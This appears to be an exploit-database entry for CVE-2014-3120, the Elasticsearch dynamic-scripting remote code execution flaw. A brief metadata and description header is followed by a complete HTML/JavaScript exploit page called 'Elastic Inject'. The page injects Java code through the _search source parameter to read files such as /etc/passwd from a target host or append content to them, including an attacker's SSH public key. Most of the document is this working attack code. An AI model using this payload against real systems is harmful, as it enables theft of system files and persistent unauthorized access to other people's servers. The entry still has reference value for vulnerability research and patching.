CVE-2014-3120 Elastic Search Remote Code Execution

vendor:

Elastic Search

by:

@BvdBijl

7,5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Elastic Search

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: CVE-2014-3120

CPE: N/A

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2015-1214/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2014-1186/, https://www.rapid7.com/db/vulnerabilities/freebsd-vid-43ac9d42-1b9a-11e5-b43d-002590263bf5/

Other Scripts: N/A

Tags: rce,elasticsearch,kev,vulhub,cve,cve2014,elastic

CVSS Metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P

Nuclei References: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120, https://www.elastic.co/blog/logstash-1-4-3-released, https://nvd.nist.gov/vuln/detail/CVE-2014-3120, http://bouk.co/blog/elasticsearch-rce/, https://www.elastic.co/community/security/

Nuclei Metadata: {'max-request': 1, 'vendor': 'elasticsearch', 'product': 'elasticsearch'}

Platforms Tested: N/A

2014

CVE-2014-3120 Elastic Search Remote Code Execution

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.

Mitigation:

Ensure that the user running ES does not have access to sensitive files.

Source

Exploit-DB raw data:

<!--
##CVE-2014-3120 Elastic Search Remote Code Execution

This project demonstrates the CVE-2014-3120 vulnerability/misconfiguration.  It allows you to read from and append to files on the system hosting ES, provided the user running ES has access to them.

###Notes

This does not require a web server.  Save it locally and run it from a browser.

Discovery and vuln publishing credit goes to: @BvdBijl - http://bouk.co/blog/elasticsearch-rce/
-->

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Latest compiled and minified CSS -->
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" rel="stylesheet">

<!-- Optional theme -->
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap-theme.min.css" rel="stylesheet">
<style>
body {
  padding-top: 50px;
}
.starter-template {
  padding: 40px 15px;
  text-align: center;
}

</style>
</head>


<script src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function es_inject() {

var read_file;
var write_file;

read_file = function(filename) {
  return ("import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"" + filename + "\")).useDelimiter(\"\\\\Z\").next();");
};

write_file = function(filename) {
  return ("import java.util.*;\nimport java.io.*;\nPrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"" + filename + "\", true)));\nwriter.println(\"" + document.getElementById("element_2").value + "\");\nwriter.close();");
};

$(function() {
  var payload, filename, files, host, _i, _len;
  files = [document.getElementById("element_3").value];
  payload = {
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {}
        }
      }
    },
    "script_fields": {}
  };
        if (document.getElementById("element_4").checked) {
        for (_i = 0, _len = files.length; _i < _len; _i++) {
          filename = files[_i];
          payload["script_fields"][filename] = {
                  "script": write_file(filename)
        };
        }
       } else {
          for (_i = 0, _len = files.length; _i < _len; _i++) {
          filename = files[_i];
          payload["script_fields"][filename] = {
                  "script": read_file(filename)
        };
        }
       }    


  $.getJSON("http://" + document.getElementById("element_1").value + ":9200/_search?source=" + (encodeURIComponent(JSON.stringify(payload))) + "&callback=?", function(data) {
    var content, contents, hit, _j, _len1, _ref, _results;
    console.log(data);
    _ref = data["hits"]["hits"];
    _results = [];
    for (_j = 0, _len1 = _ref.length; _j < _len1; _j++) {
      hit = _ref[_j];
      _results.push((function() {
        var _k, _len2, _ref1;
        _ref1 = hit["fields"];
        for (filename in _ref1) {
          contents = _ref1[filename];
          document.getElementById("script_results").innerHTML += ("<h2>" + filename + "</h2>");
          for (_k = 0, _len2 = contents.length; _k < _len2; _k++) {
            content = contents[_k];
            document.getElementById("script_results").innerHTML += (content);
          }
          document.getElementById("script_results").innerHTML += ("<hr>");
    //document.getElementById("script_results").innerHTML += (document.getElementById("element_4").checked);
        }
      })());
    }
    return _results;
  });
});
};
//es_inject();
</script>
<body>

    <div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="#">Elastic Inject</a>
        </div>

      </div>
    </div>

    <div class="container">

      <div class="starter-template">
                <h2>CVE-2014-3120 Elastic Search Remote Code Execution</h2>
                <p class="lead">This will read and write files from an ES instance vulnerable to CVE-2014-3120.<br> This is for demonstration purposes only.</p>
      </div>
      <div class="col-md-8">
                <!-- <form id="ES_Inject" action="" method=""> /-->
                <label for="element_1">ES_IP_Address: </label><br/>
                <input id="element_1" name="element_1" class="element text medium" type="text" maxlength="255" value="127.0.0.1"/> <br/>
                <label for="element_3">File to read/append to: </label><br/>
                <input id="element_3" name="element_3" class="element text medium" type="text" maxlength="255" value="/etc/passwd"/> <br/>
                <label class="description" for="element_2">Content to append: </label><br/>
                <textarea id="element_2" name="element_2" class="element textarea large">YOUR_SSH_PUBLIC_KEY or SOMETHING&lt;/textarea&gt; <br/>
    <!-- <input id="element_4" type="radio" name="es_action" value="read" checked>READ<br/> /-->
    <input id="element_4" type="checkbox" name="es_action" value="write">WRITE<br/>
                <!-- <input id="saveForm" class="button_text" type="submit" name="submit" value="Submit" onClick="es_inject();"/> /-->
                <button onclick="es_inject();">Click me</button>
                <!-- </form> /-->
<h3>Your file contents should appear below if a read is successful. </h3>
<div id="script_results">

</div>
     </div>
<div class="col-md-8">
  Original vulnerability discovered by <a href="https://twitter.com/bvdbijl"> @BvdBijl</a>  - <a href="http://bouk.co/blog/elasticsearch-rce/">http://bouk.co/blog/elasticsearch-rce/</a>
</div>
    </div><!-- /.container -->
    <script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
</body></html>